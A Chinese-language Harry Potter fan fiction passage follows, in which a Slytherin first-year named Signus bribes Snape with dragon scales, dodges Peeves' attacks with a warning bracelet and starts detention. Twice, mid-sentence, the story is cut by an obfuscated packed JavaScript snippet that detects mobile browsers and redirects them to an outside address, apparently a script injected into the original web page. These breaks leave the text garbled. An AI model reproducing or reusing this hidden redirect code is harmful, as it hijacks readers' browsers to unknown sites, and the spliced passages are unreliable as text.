“让我看看,这是谁?”斯内普教授低沉、丝滑的声音响起,“一位勇斗皮皮鬼的英雄,嗯?” 不得不说,这个形容可太讽刺了。若是说出这个话的是其他人,西格纳斯怕不是能恶心得吐出来,但斯内普冰冷、拖长的语调,他只听得心虚,小声嗫嚅着:“教授……” “我们英勇的普林斯-埃弗瑞先生,”斯内普教授念到“普林斯”时,音调依旧有种独特的丝滑感,但比课堂上那次隐晦得多;而“埃弗瑞”的后缀,也依旧是用极轻的语调快速滑过,“来这里做什么呢?想要为自己的善行讨要一个加分吗?” 也许是因为卡斯托曾为他介绍这位魔药天才的伏笔,又或许是为了魔药课上那令人心折的绝对掌控力——对其他学生而言,斯内普教授是阴郁、危险、严苛且冷酷的;但在西格纳斯眼里,他天然笼罩上了一层魔药大师的光环——魔药大师有点古怪的小脾气,有什么问题吗?当然没有! 西格纳斯家里的亲人们,大半都是沉迷于各个领域的研究者,脾气古怪的他见多了。 眼前的这位在魔药、魔咒、黑魔法领域均有天赋的教授,不过就是区区三倍的坏脾气……好吧!他得承认,能将阴阳怪气运用到这个程度的人,也是罕见的。 西格纳斯终于忍不住,提高声音讨饶地叫了一声:“教授!” 斯内普停下了声音。 “皮皮鬼的事,我是意外被卷进去的。”西格纳斯连忙解释,“后来……我就想着,反正已经卷进来了……”说着,眼神有点游移。 斯内普以一声响亮的嗤笑,回应了西格纳斯的解释。 “我错了。”这次西格纳斯干脆地低头认错。 这次的事件,他的确处理得粗糙。相信无论是眼前的斯内普院长,还是麦格教授,当然还要包括邓布利多校长,最后都会发现自己行为里的小心思。 但那又如何呢? 反正他行为的最终结果,是“牺牲自己吸引火力,保护了他人”。所以,除了斯内普能从斯莱特林的行事角度讽刺自己,就连邓布利多也不能多说什么。 而斯内普显然是清楚这些的——他的嘲讽集中在西格纳斯的“英勇行为”上,而不是他借机攫取利益的本质。 西格纳斯抬头,对上了斯内普那黝黑得如同寂静寒潭的双眸。 “所以,你来找我,想做什么?”斯内普的声音不再充满讽刺,恢复了耳语般的丝滑。 当魔药大师不再挥洒他的毒液,情况终于 西格纳斯缓缓地吐了口气,终于调整好心态,重新拿出了自己一贯的优雅姿态。他向前走了两步,将手中一直提着的纸盒,轻轻地放在了宽大的书桌上——压住了几张被额外评价为“Terrible(糟糕透顶)”的作业。 他一边打开盒子,一边轻声说道:“家里给我寄来了一些东西,但是我想,若是现在的我来使用它们,未免太过浪费。” “你以为你在做什么?”斯内普冷笑一声,语调冰冷,“拿着你的东西,滚出——” 话音戛然而止。 黑色的菱形龙鳞,就算在昏暗的环境中,依旧反射着迷人的虹彩。 1981年后,魔法部加强了高风险材料的贸易管控。就算是霍格沃兹,也不是那么容易就能获得龙类材料的。 “我是来为我的鲁莽行动,道歉来的。”西格纳斯微笑着说。 在被赶出办公室前,西格纳斯获得了一个为期两周的劳动服务:将龙鳞研磨为粉末,从周一开始。 西格纳斯站在办公室门外得意微笑——他就知道,没有魔药大师能拒绝珍惜的原材料。 *** 晚餐时间,当西格纳斯再次来到礼堂时,安东尼奥立刻拉着哈伦凑了过来。 “咿呀咿呀(Ià ià)!真是太厉害了!”安东尼奥赞叹地拍着手,“你这不过是刚入学两天而已,生活过得真是太充实了!” 西格纳斯扯出一个微笑,“比起你的□□,我这可算不上什么。” 跟安东尼奥那种一个弄不好,就要涉及国际纠纷的事件相比,自己那点校园日常问题,完全不算什么。 “但我可没在第二天,就搞出需要院长插手的事情。”安东尼奥得意地说着。 “嗯,因为我们入学那年开学日是周三,所以他是入学后第三天才闹出事来。”哈伦一脸平淡地拆穿了他,“第四天校长就请了霍兰德先生过来。” “哈伦!”安东尼奥扑过去,“你跟我才是一边的!” 哈伦淡定地一手抵着安东尼奥的脸颊,将他推开了一臂的距离。他看了一眼这次并没有出现在西格纳斯身边,而是坐在了远处的罗齐尔兄弟,“那两个罗齐尔怎么回事?”他榛色的眼睛中透出几分凉意,语气也有些微妙的不善。 西格纳斯看了看罗齐尔兄弟的位置——早先一步来到礼堂的两人离自己有一些距离,但也没有完全靠近另一边的塞尔温和罗尔的小团体,反倒是与“魁地奇狂人”和几个没见过的高年级交谈着。 “皮皮鬼最近会一直盯着我,但我有外援制衡的手段。”西格纳斯笑着说,“所以我担心他会对我周边的人下手——就让他们俩最近离我远一些了。” 哈伦看着西格纳斯一挑眉,西格纳斯回以一个完美的微笑。 “好吧!”哈伦举起南瓜汁,“我相信作为埃弗瑞学长的弟弟,你能处理好这些。” “当然。”西格纳斯举起牛奶回应。 “说起来,”安东尼奥的声音,忽然幽幽地响起,“你是不是也该与我们保持距离?” 毕竟从各种意义上讲,他和哈伦也算是与西格纳斯关系走得比较近的人了——他们这两天的碰面次数,可比西格纳斯与某些同年级同学的见面次数还要多。 西格纳斯甜甜地一笑:“可是,明明是你自己凑过来的,哈伦拉都拉不住你。” 哈伦愣了一下,然后露出了一个温和的笑容,附和着:“是啊!这可怪不到西格纳斯身上。” 安东尼奥闻言跳起来,发出夸张的怪叫:“啊——!哈伦你不爱我了!你移情别恋!” 在西格纳斯揶揄的笑声中,哈伦额头青筋暴跳地将安东尼奥压回座位上,“坐下!吃你的饭!” 晚餐在安东尼奥的插科打诨中,愉快地进行着。但二年级的两人,都能感受到西格纳斯那种引而不发的警惕——哪怕是本应轻松愉悦的甜点时间,他也已经数次瞥向教师席,确认邓布利多是否仍在席间了。 “皮皮鬼应该不会在这个时候闹事吧?”安东尼奥咬下一块白巧克力莓果饼干,也瞥了一眼教师席的位置。此刻已经有不少教师用餐完毕离席了,但邓布利多还坐在中央,正吃着一份黏太妃糖布丁。 西格纳斯挖了一块红茶果冻,“那是因为现在校长在。”他咬着银匙,回忆着下午卡斯托给他转递的资料,“卡索去查了一些历史记录……皮皮鬼真的好嚣张。” 多亏家中长辈研究的方向多且杂,在各个领域都多少有些人脉,总算有人知道关于皮皮鬼的详细历史事件—— 1876年,当时的城堡管理员试图利用武器,包括几把弯刀、□□、一把短火铳和一架小型火炮组成陷阱,围捕并驱逐皮皮鬼。但这个陷阱被皮皮鬼轻而易举地突破,还反过来利用武器威胁学生安全,最后逼迫时任校长的尤普拉西娅·摩尔(Eupraxia Mole)女士,同意在赋予其额外特权的合约上签字。 这份战绩,谁看了都不得不“赞叹”一声——至少安东尼奥听着就发出了一声感叹,“霍格沃兹这不是用过热武器嘛!”他嘀咕着,“结果还是要没收我的□□……” 哈伦拍了一下他的脑袋,“霍格沃兹可不是西西里。”他的声音有些凉意,“而且,如果不是校长出手,找事的就会是魔法部了。” “好啦好啦!”安东尼奥说着,把一块糖浆水果馅饼塞到了哈伦的嘴里,“我不提这个事了。” 哈伦狼狈地吞下甜得腻人的馅饼,忍不住灌了两大口清水,狠狠地锤了几下安东尼奥的肩膀作为报复。 “回归正题。”安东尼奥嬉笑着揉了揉肩膀,把被他弄偏的话题导回正规,“所以,你打算怎么做?” “这两天小心一点。”西格纳斯捧着牛奶,又确认了一下邓布利多的情况——他已经吃完了布丁,又在品尝椰枣太妃糖蛋糕了——那种甜点只是看上去就甜得惊人,令人忍不住担心这位百岁老人的牙齿健康。 “我们分析,既然当年摩尔校长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260406|179996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘以特权换秩序’,那么有些规则,就是皮皮鬼需要遵守的。” “首先是教学秩序,图书馆和正在上课的教室,是他不能打扰的——这是霍格沃兹作为魔法学校的最基础功能。”西格纳斯说着,“卡索说,皮皮鬼会在图书馆门口恶作剧,但从来没有进入图书馆的记录。” “这个应该没错,”哈伦也提供了侧面证据,“皮皮鬼对课堂的骚扰,一般都是在课间时间,上课时从没见过他。” “第二个,医疗秩序。”西格纳斯继续说道,“医疗是严肃的事情,必然不能纵容皮皮鬼的恶作剧——既往也没有皮皮鬼在医疗翼闹事的相关记录。” “最后就是休息室和寝室的安全区。”西格纳斯总结着,“根据《霍格沃兹:一段校史》的记载,各学院的休息室和寝室,都是有创始人的魔法契约保护着的,皮皮鬼可没本事突破。” 安东尼奥戳着盘子里的布丁,问着,“这么说来,礼堂也是风险区了?” “理论上来说,是的。”西格纳斯点点头,“但是正式宴会,比如开学宴时,城堡的幽灵们都会到场——包括血人巴罗,所以皮皮鬼不敢胡来。”他说着,“而平时的三餐时间,校长也在,他也能压制住皮皮鬼。” 说完,他又看了一眼教师席,邓布利多又对果酱卷下匙了——他的牙齿真的没事吗? “不过,等我家的支援到了,我就要让皮皮鬼知道,什么叫做‘知识就是力量’!”西格纳斯最后陈词总结。 “哇哦!”安东尼奥起哄道,“战意满满呢!” *** 西格纳斯确如自己所言,非常小心——除了去礼堂用餐,他几乎都呆在休息室或寝室当中。而皮皮鬼也不知道什么原因,并没有趁他去礼堂的时候做什么。 下午的公共休息室里,还有两名三年级的学生——他们正在翻看《中级变形术(Intermediate Transfiguration)》和《标准咒语,三级》。 而西格纳斯坐在休息室的躺椅上,翻阅着他让罗齐尔兄弟帮他从图书馆借来的《对付恶作剧的锦囊妙计(Saucy Tricks for Tricky Sorts)》时,那位同样与魔药学颇有渊源的格兰达·塔格伍德走了过来。 “普林斯先生?”她看上去有些许迟疑,“也许,我是说,你看上去似乎并不繁忙?” 西格纳斯抬头,看向这个自己并未进行过接触的女生,语气平淡地说:“是的,至少现在,我是足够空闲的,塔格伍德小姐。” 如果没有皮皮鬼的事,他可能会选择去图书馆看些书,或者继续探索城堡。但现在——在护符没有到手前,西格纳斯可不打算跟一个很可能已经气疯了的城堡骚灵,比拼谁更熟悉霍格沃兹城堡——所以,他还是待在休息室比较好。 塔格伍德明显有些紧张,“魔药课上,你的回答非常深入。”她双手攥着一个褐色封皮的笔记本,“冒昧的问一下,这是普林斯家族秘传吗?” 西格纳斯有点明白她来找自己的原因了。 在一个有着光辉过去的家族中,后辈但凡有点野心,就会想着通过学习,争取在未来达到、甚至超越长辈所取得的成绩,而非像米虫一般趴历史的成就簿上,炫耀过往的辉煌——显然眼前这位塔格伍德小姐,是很有上进心的。 “是,也不完全是。”对于一位有进取心的同龄人,他还是很乐意与之进行交流的,“一些具体的结论,是家族历代长辈们的探索结果;至于怎么去梳理这些知识……我们用了一些从其他地方学来的方法。” 格兰达·塔格伍德听到回答,不由得精神一振,指了指西格纳斯所坐的雕花靠椅边上的一个单人座椅,“我可以坐这里吧?” 西格纳斯点点头。 “你课上的解释可真清晰。”塔格伍德坐下后,说起了之前的课堂感受,“不愧是传承已久的普林斯。” 西格纳斯忽然觉得有些明白,为什么斯内普教授比起“塔格伍德”,更关注“普林斯”了——“传承”一词,本身就带着不容轻忽的重量。 这也正好解释,为什么英国的许多纯血巫师,会单纯以家族的辉煌历史为傲——哪怕他们自身配不上那份荣誉。 “按照我家的说法,魔药从不是单一孤立的。”他点了点自己放在茶几上、之后在草药课上显然也会用上的《千种神奇草药及蕈类》课本,“和草药课共用同一本教材,已经很能说明这其中的关联了,不是吗?” 塔格伍德露出了思索的表情。 他们就魔药、原材料处理等问题,进行了愉快的理论交流,塔格伍德小姐甚至提到了自家处理“仙子翅膀”的特殊手法,被西格纳斯及时制止。 “哦,绅士的普林斯先生。”塔格伍德小姐饱含深意地看了他一眼,向他感谢地笑了一下。 他们的交流还在继续。 “安娜告诉我,”她凑近书本,指着书页,做出一副询问的样子,然后压低声音:“塞尔温和罗尔,与三年级的布鲁图斯·加格森(Brutus on)交谈甚欢——他们志趣相投。” 西格纳斯一挑眉。 她手上比划着某种草药的结构,嘴里却悄声说着,“而且,他们似乎……对皮皮鬼很有兴趣。” 10.袭击 皮皮鬼的第一次针对性袭击,发生在西格纳斯晚餐时间去礼堂的时候。 礼堂门口的地毯被猛地抽走,西格纳斯脚下一个趔趄差点摔倒,但好在他最终还是轻巧地跳跃挪步,勉强站稳了。 “哈哈哈哈!胆怯的小鬼躲在洞里,一旦冒头就被皮皮鬼大人狠狠教训!”皮皮鬼嚣张地大笑,然后得意洋洋地飘走了——这里离礼堂太近,邓布利多已经看过来了。 西格纳斯没有理会皮皮鬼的挑衅,反而伸手扶了一把被波及到摔倒的几位同学。 一个曾在赫奇帕奇长桌见过的学生被扶起来,有些惊讶地看向他。西格纳斯露出一个温和且略带歉意的笑容,“抱歉,你们应该算是被我牵连了。” 这个赫奇帕奇似乎有些紧张,连忙摆了摆手,拉着自己另一个刚刚站稳的同伴,快步跑进了礼堂。 当西格纳斯扶起另一个人时,那人用一副仿佛看到地精列队跳着莫里斯舞(Morris Dance)般诡异的表情看向他。 西格纳斯仔细一看,发现他此刻扶着的,正是魔药课上因“勇敢顶撞教授”而被扣了1分的格兰芬多新生加拉格尔先生——校袍上绣着的全名是霍利·加拉格尔(Holly Gallagher)。 西格纳斯微笑着,松手、后退、转身离开,一气呵成——怪不得对方表情怪异,就凭现在格兰芬多和斯莱特林间的关系,碰面没当场破口大骂都是彼此克制了。自己扶的这一下,估计能把对方搞懵。 西格纳斯走进礼堂,扫视过整个斯莱特林的长桌,最后选择了一个远离人群的座位。 安东尼奥和哈伦此刻坐在几个高年级斯莱特林附近,弗利女士也在其中,正在讨论着什么。有些令人意外的是,没有看到卡西乌斯·博克的身影。 罗齐尔兄弟这次依旧跟“魁地奇狂人”费利克斯·普伦顿及几位高年级坐在一起——昨天晚上,罗齐尔兄弟透露出,这几个高年级都是斯莱特林魁地奇球队的成员,其中就包括那个出现在信息传播链上的埃德加·博尔顿。 引起西格纳斯注意的,是一脸遗憾和不怀好意的塞尔温与罗尔两人,他们身边坐着三个高年级。西格纳斯推测,其中位于主导位置的金棕发色者,应当就是塔格伍德提到的布鲁图斯·加格森——因为另外两个人中,一个表情僵硬、嘴唇紧抿,有种微妙的格格不入感;一个则一脸懦弱迷茫,看上去并不像是能与两个“纯血至上”的家伙谈得来的样子。 他们坐在一眼就能看到礼堂大门外场景的位置上,而塞尔温和罗尔此刻面上的遗憾,大概是因为没能看到西格纳斯出糗的场景。 注意到他的视线,塞尔温和罗尔都对着他露出了充满恶意的笑容——因为那种恶意实在是太过直白,以至于西格纳斯甚至忍不住怀疑:这两个家伙真的经历过纯血巫师的家族教育吗?还是说,他们的家族教育仅讲了《生而高贵:巫师家谱》这一本书? 西格纳斯想到了他之前接触过的几个同样属于“神圣二十八姓”的家族:罗齐尔、弗利、博克、特拉弗斯——他认识的这些人中,可没有谁表现出如塞尔温和罗尔这般,令人不忍直视的愚蠢。 西格纳斯正走着神,忽然猛地回头,发现身后正站着卡西乌斯·博克。 卡西乌斯我行我素地在他旁边坐下,语气平淡地评价,“警惕性不错。” “毕竟与皮皮鬼有了冲突。”西格纳斯坦然地承认。 卡西乌斯盯着他看了片刻,最后嗤笑一声,“我还以为你会很得意,不是吗?‘乖巧可爱的小朋友’。” 西格纳斯张了张嘴,最后什么都没说。 所以,他哥到底和多少人宣传过他? 卡西乌斯不在意西格纳斯是否回应,他直接掏出一个东西,直接扔到了他的怀里,“卡莉娅说你会需要这个。” 一条黑色的手链,挂着铜纳特大小的透明挂坠。 “功能很单一的小玩意。”卡西乌斯连眼都没抬一下,似乎很看不上这种小东西,“感应到恶意靠近会发热,恶意者越多就越热。” 西格纳斯闻言,隐秘地将手链戴在左手手腕上,“功能单一,但很实用。”他露出感激的笑容,“多谢博克学长,也请替我感谢弗利女士。” 卡西乌斯灰色的眸子瞥了西格纳斯一眼,哼笑一声。起身离开,回到了弗利女士所在的区域。 *** 这款“恶意感知手链”的功能的确简单,但在护符还没到位前,这也确实是最实用的道具了。 它在周一清晨,即提醒西格纳斯躲过了一次早餐前的水球——在刚走出地窖石阶的一瞬间,迎面袭来。距离上一次袭击才刚刚过去一个晚上,足以说明皮皮鬼对西格纳斯的记仇程度。 第二次骚扰是在西格纳斯去上课的路上,皮皮鬼往楼梯的好几节台阶上,涂上了大概是从厨房找来的黄油——若是没注意到一脚踩上,很可能会摔得很难看。 西格纳斯抽出魔杖,熟练地用了个“清理一新”,在皮皮鬼尖叫“有人违规”前,迅速地跨过台阶离开了现场——没被抓到现行,没有破坏城堡,仅凭信誉堪忧的皮皮鬼的证词,没人会在意一个家务魔法。 斯莱特林一年级在周一上午只有一节魔咒课,授课的菲利乌斯·弗立维教授,就是西格纳斯在开学宴会上看到的那位坐在多层软垫上的矮小教授,同时也是拉文克劳的院长。 斯莱特林与拉文克劳分别坐在教室两侧,而弗立维教授则站在教室中央一摞厚厚的书本垒成的高台上,才让学生们看清站在讲台后的他的身影。 这位矮小的教授,以尖细却异常清晰的嗓音,充满热情地介绍着魔咒课程:“这是魔法最优雅、最实用的表达方式!你们要学习如何用精准的动作、清晰的发音以及——最重要的——专注的意志力,让魔力听从你们的指挥!” “记住,孩子们,魔咒不是蛮力!是技巧,是心灵与魔杖的和谐共鸣!” 新生们明显被这番话语提起了兴趣,不过一年级的课程开篇,只是一些相对来说颇为基础的咒语,比如“Lumos(荧光闪烁)”和它的反咒“Nox(诺克斯)”。——这对于纯血出身的学生来说过于简单,但对于刚刚踏入魔法世界的麻种或混血巫师来说,是最好不过的启蒙咒语。 西格纳斯因为第一个用出了咒语,而获得5分的加分。不过,他也听到了塞尔温和罗尔不屑的哼声。 在魔咒课的课堂上,手链挂坠一直微微的发热,温度也时常变化。西格纳斯一度怀疑它是不是出了故障,但在弗立维教授宣布下课的瞬间就疯狂袭来的粉笔头,让西格纳斯不得不佩服——博克学长真是家学渊源,找来的道具也是真有效。 很明显,恶意的来源就是隐身徘徊在教室外的皮皮鬼,以及就在同一个教室内的塞尔温和罗尔——他们是唯二在皮皮鬼出现后,面露期待而非厌恶的学生。 出于这个原因,西格纳斯没能借着与拉文克劳同上魔咒课的机会,确认一下莱伊的失眠和记忆过载问题,是否得到了教授的帮助。不过,看课上对方向自己点头示意时明显好转的脸色,大概是有着一些好的变化。 下午,是与赫奇帕奇共同在城堡外的温室上的草药课。 虽然不太想承认,但西格纳斯确实感受到了一丝难得的放松。作为随城堡诞生的骚灵,皮皮鬼无法离开城堡,自己左腕上的挂坠,也终于不再热得有些发烫——仅因为塞尔温和罗尔的缘故,维持着基础的热度。 “欢迎来到这里,我的孩子们。”赫奇帕奇的院长波莫娜·斯普劳特教授,是一位矮矮胖胖、慈祥和蔼的女巫,她的一头灰发被一顶打满补丁的旧帽子盖住,双手和袍子上也沾满了泥土。“在霍格沃茨,没有什么地方比这里更脚踏实地了。” “草药学这门课,可不仅仅是挖挖土、浇浇水那么简单——它是魔法界的根基,是疗伤的良药,是危险的陷阱,更是充满智慧与韧性的伙伴!” 斯普劳特教授愉快地介绍着,“在这些温室里,你们将亲手触摸、培育、照料这些充满魔力的生命。只要你们足够耐心,就会发现它们是世界上最迷人的伙伴!” 西格纳斯听完斯普劳特教授的介绍,忍不住有些走神:无论是魔法学校还是麻瓜学校,教育者在每个学科的第一节课上,果然都是介绍自己学科的重要性。 “……但必须注意,在我说可以之前,绝对不要随意触碰任何植物!——不是所有植物都是无害的。”斯普劳特教授最后说完了安全注意事项,就开始了正式的课程。 进行课程搭档分组时,西格纳斯选择与赫德森搭档,这明显让这位赫奇帕奇新生非常兴奋;但当西格纳斯在罗齐尔兄弟的遮掩下,背对其他斯莱特林做出了噤声的动作后,赫德森像是意识到了什么,也安静了下来。 西格纳斯有些感慨,赫奇帕奇的确教会了许多小巫师——尤其是非纯血出身的小巫师——很实用的第一课:谨慎。 “你在斯莱特林,过得不好吗?”当众人按照斯普劳特教授的要求,开始分组观察起白鲜的时候,赫德森忍不住低声地询问。 西格纳斯嘴角微弯,眼中含笑,“当然不。”他说着,“再也没有比斯莱特林更适合我的地方了。” “可是——”赫德森显然不太认同西格纳斯的说法,还想继续说点什么,被西格纳斯再次以噤声的姿势制止。 “斯莱特林和赫奇帕奇不同,我们有我们的处事方法。”他笑着拍了拍赫德森的肩膀,“也许你不太理解,但我可是非常习惯这种环境的。” 面对赫德森疑惑的眼神,西格纳斯也不再多说什么,而是将注意力转回课业上,“先好好上课吧!” 赫德森很快就被斯普劳特教授的课程吸引了全部的注意力,忘记了自己在纠结什么。课后,他还对西格纳斯描述着自己对于草药学的美好畅想。 他们离开温室时,西格纳斯拒绝了与赫德森继续同行,“在城堡附近,最好暂时别与我走得太近。”他站定在温室门口,让赫德森一愣。 “我现在跟皮皮鬼的冲突,我想你应该知道?”西格纳斯说着。 赫德森这才反应过来,“我听说了。周六那天被皮皮鬼捣蛋的人里,正好有一位很照顾我的二年级学姐。”他眼神闪亮地看向西格纳斯,“你真厉害!学姐说,你这几天躲过了皮皮鬼好几次的袭击!” “我能躲过,是因为我有道具辅助。”西格纳斯说着,“但你没有。”他还提起了罗齐尔兄弟,“他们也没有,所以也只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260407|179996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能保持距离。” 赫德森张了张嘴,看表情似乎想说出类似于“我不怕”之类的宣言,但最终什么也没能说出口——赫奇帕奇显然已经给一年级们进行了充分的新生教育,让他们知道了哪些行为可能是危险的。 他看起来有些沮丧,“对不起,我帮不上什么忙。” “这有什么可道歉的。”西格纳斯失笑,他拍了拍赫德森的肩膀,“你先回去吧!” 赫德森蔫蔫地往城堡走去,没走两步又忽然折返了回来。 “怎么了?”西格纳斯问道。 “我忽然想起来,学姐曾经在休息室里说起来过,”赫德森眼睛亮亮的,“她觉得应该跟你道谢,但是一直没什么机会。” “之前她们还说我不应该跟你交朋友。但是周六那天,你替她们吸引了皮皮鬼的攻击后,她们就再没有继续这么说了。”他语气有些激动,“你不让我跟你走,也是为了我好。学姐们要是知道了,一定更能明白,你不是她们常说的那种斯莱特林!” “是吗?那真是太感谢了。”这句话,西格纳斯说得尤为真诚。 *** 皮皮鬼果然又在门厅制造了一次袭击,垃圾篓里的垃圾迎头撒来的瞬间,西格纳斯快速后撤了几步,躲了过去。 “只会逃跑的胆小鬼!没有胆量的小废物!”皮皮鬼尖声叫嚷着,泼出更多的垃圾,“皮皮鬼大人一来,跑得比嗅嗅还快!” 西格纳斯完全无视了来自皮皮鬼的噪音,专心躲避皮皮鬼带来的垃圾,然后边闪躲,边向地窖门口移动——他计划赶在晚餐前完成今天的魔咒和草药课作业——之后要去斯内普教授的办公室进行劳动服务,没有时间写作业了。 “皮——皮——鬼——!!!”一个沙哑、干涩,却也高亢的声音传来,“该死的!看看你都做了什么!” 削瘦佝偻、穿着破旧邋遢的身影出现在门厅,他看着满地的狼藉发出刺耳的怒吼,“你这个肮脏的、恶心的东西!咳咳、我要……我要把你锁起来!吊在天花板上!用鞭子、咳、抽你一百下!咳咳咳……” 随着城堡管理员阿格斯·费尔奇的出现,皮皮鬼转移了注意力,“哎呀呀!这不是我们亲爱的、勤劳的费尔奇吗?”他将西格纳斯直接忘在脑后,飞到费尔奇的头顶上盘旋,惹得对方徒劳地在头顶乱抓,“听听!听听!哑炮又在做他那可爱的小梦啦!锁我?抽我?哈哈哈哈哈……碰不到!永远都碰不到!” 西格纳斯趁着这个机会,没有丝毫犹豫地立刻进入地窖,将皮皮鬼和费尔奇抛在脑后。 回到休息室时,罗齐尔兄弟正在与一名黑发黑眸的高年级交谈。看到西格纳斯回来,两人也不动声色地与那名学长告辞,随后回到了寝室。 “那是谁?”西格纳斯一边脱下校袍——也许沾上过垃圾的衣服,他可不想接着穿——一边随口问了一句。 “五年级魁地奇队的追球手。”洛塔尔靠着床柱说道,“你猜他姓什么?” 西格纳斯一挑眉,这怎么猜? “诺克斯(Knox)。”埃里希没有弟弟那种趣味,直接给出了答案。 “‘熄灭咒’?”这个发音正好与今天魔咒课上讲解的咒语同音,“有趣。” “比‘Nox’写起来多了个不发音的‘K’。”洛塔尔继续说着,“最有趣的是,他的父亲还是个被除名的‘布莱克(Black)’!” 布莱克家族是英国魔法界最古老、最富有的纯血统家族之一,以“永远纯洁(Toujours Pur)”为格言,坚持纯血统至上主义,属于“神圣二十八姓”核心成员。 普林斯-埃弗瑞家恢复姓氏后,西格纳斯曾在卡斯托的带领下,前去拜访过这个曾经无比显赫的家族——鉴于既往曾有过的联姻经历。 可惜,如今的布莱克家族,只剩寡居的女主人沃尔布加·布莱克(Walburga Black),由一只衰老的家养小精灵克利切(Kreacher)陪伴。 “所以说,你们英国魔法界啊……啧啧啧。”洛塔尔摇了摇头,一副感叹的样子。 西格纳斯哼笑一声,“你们这不是观察得津津有味嘛!” “西格纳斯,”埃里希等西格纳斯换好了衣服后,才继续开口,“你应该察觉到了,皮皮鬼袭击你的时机很巧合。” 西格纳斯收拾着自己的作业纸笔,回应着:“是的,就像有人给他通报我的行程一样精确。” “的确有人这样做了。”埃里希说着,“加格森以‘熟悉城堡’的名义,带着塞尔温和罗尔,在皮皮鬼常出没的地方,把斯莱特林一年级的课表全透露了。” 西格纳斯动作一顿。 这个方法倒是聪明。对他们来说,只需要在走廊里自然地聊起课程安排,就能把信息传递出去——他们没有与皮皮鬼有任何明面上的勾连,但切实地达成了通风报信的效果。 “怪不得。”西格纳斯喃喃道,“今天所有的袭击,都发生在用餐和上下课的时段。” “你打算怎么做?”埃里希问道。 西格纳斯嘴角勾起笑容,“没事,随他们来。”他看向罗齐尔兄弟,“你们也别插手这事,让我看看他们还能玩出什么花样来。” 11.劳动服务 周一晚餐后,西格纳斯迎来了入学后的第一次劳动服务。 但当他刚刚开始进行这项处罚时,就已经忍不住在心底盘算,要不要想办法再办点限度内的、不太合规的事情,以延长这个处罚期了——毕竟,能够直面一位魔药天才研究或改良魔药的现场,实在是太难得了!这世界上还能有比这更美好的处罚吗? 因为距离斯内普熬制魔药的实验室内间有些距离,西格纳斯难以明确分辨实验台上的材料都有哪些,只是看到了某种动物的脾脏、带有一丝腥气的动物血液、之前魔药课用过的干荨麻、草药课见过的白鲜、一瓶黄色的澄清液体、一瓶浓稠的液体、一瓶大概是嚏根草糖浆的蓝色液体,还有一些特征不太明显的粉末、植物块茎和液体材料。 斯内普教授处理材料的手法娴熟流畅,投加材料的时机把控、搅拌药液的速率调节,更是近乎于艺术一般地赏心悦目。 “我假设,”斯内普低沉的嗓音伴随着坩埚中蒸腾的袅袅雾气,在阴暗的办公室中回荡,“普林斯-埃弗瑞先生,你的双手是否还能够被你空荡荡的大脑所操控?我的办公室中,并不需要多上一尊无用的人形雕塑。” 西格纳斯这才发现,自己的注意力已经全然被吸引到了魔药熬制过程当中,手里的动作早就停下了。 “抱歉,教授。”西格纳斯一边道歉,一边重新开始研磨,“但,那太美了,谁能拒绝这份神秘迷人的液体艺术呢?” 斯内普教授双眼微眯,嘴角可疑地上翘了一下,又迅速压平。 “停止你的花言巧语。”他那如耳语般丝滑的声音说着,“若是两周之内研磨不完,我不介意让你整个学期的晚上,都消耗在研磨钵上。” 西格纳斯闻言,手上的动作不着痕迹地从中等匀速地研磨,缓缓降低成了慢速。斯内普教授发出一声响亮的嗤笑,他立刻将研磨速度提了提,但仍达不到最开始的速率。 教授显然不打算耗费精力追究他的小心思,自顾自地继续熬制起魔药,斟酌地拿起某种材料,思考后添加或排除。 西格纳斯仍是忍不住分心到坩埚处,但好歹记着手上的动作不停——虽然那动作慢得,不比让一只树懒来干活快多少。 当一个小时的劳动服务结束,西格纳斯一脸恋恋不舍,被斯内普教授黝黑的双眼盯着,不情不愿地走出了办公室——再耗下去,就要宵禁了。 “按照你的速度,普林斯-埃弗瑞先生。”斯内普教授的声音听起来没有任何情绪波动,“我恐怕你整个学年,都完不成你两周的劳动服务。” “哦!那真是太遗憾了,教授!”西格纳斯闻言,眼睛一亮,声音甜得仿佛偷吃了材料柜里的蜂蜜。 斯内普教授冷哼一声,“别再耍小心思。”他的声音如浸透了黑湖湖水一般冰凉,“如果你在这两周之内完不成这次处罚,我保证你这一个学期都别想再碰到坩埚了。” 西格纳斯终于老实了。 *** 与充满魅力的劳动服务相比,第二天的课程就要无趣很多。 霍格沃兹唯一的幽灵教授——卡斯伯特·宾斯教授用他那单调乏味、呼哧带喘的声音,拖腔拖调地照本宣科。让魔法史这个本来就有些枯燥的纯理论课程,变得更加催眠了。 就连看上去最严肃认真的埃里希,都忍不住偷偷打了个哈切。 也许是因为课程过于乏味,以至于皮皮鬼都不想靠近,西格纳斯的手链除了上课伊始,就没再发热过——塞尔温和罗尔两个人,早就随着宾斯教授的声音,睡得不省人事了。 西格纳斯低头抿了一口自带魔药包中的清醒剂,将困意一扫而空的同时,忽然福至心灵地明白了,为什么贝拉多娜(Belladonna)姑姑要给自己带上那么多瓶清醒剂了——这显然是同样经历过宾斯教授的摧残,从而心有余悸的姑姑,特意为自己准备的“战略储备”。 午餐前,皮皮鬼拎着一根不知道从哪里搞来的拐杖,试图隐身袭击西格纳斯。但是,一根漂浮在空气中的拐杖实在是过于显眼,就算没有手链预警,西格纳斯也早早地就注意到了。 